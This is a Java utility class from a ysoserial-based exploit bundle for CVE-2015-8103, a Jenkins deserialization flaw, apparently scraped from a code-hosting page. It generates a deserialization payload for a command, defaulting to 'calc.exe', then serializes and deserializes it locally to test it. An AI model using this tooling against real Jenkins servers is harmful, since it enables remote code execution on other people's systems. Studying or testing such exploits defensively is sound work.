Path: blob/master/external/source/exploits/CVE-2015-8103/payloads/util/PayloadRunner.java
19721 views
package ysoserial.payloads.util;12import static ysoserial.payloads.util.Serializables.deserialize;3import static ysoserial.payloads.util.Serializables.serialize;45import java.util.concurrent.Callable;67import ysoserial.ExecBlockingSecurityManager;8import ysoserial.payloads.ObjectPayload;910/*11* utility class for running exploits locally from command line12*/13@SuppressWarnings("unused")14public class PayloadRunner {15public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {16// ensure payload generation doesn't throw an exception17byte[] serialized = ExecBlockingSecurityManager.wrap(new Callable<byte[]>(){18public byte[] call() throws Exception {19final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";2021System.out.println("generating payload object(s) for command: '" + command + "'");2223final Object objBefore = clazz.newInstance().getObject(command);2425System.out.println("serializing payload");2627return serialize(objBefore);28}});2930try {31System.out.println("deserializing payload");32final Object objAfter = deserialize(serialized);33} catch (Exception e) {34e.printStackTrace();35}3637}3839}404142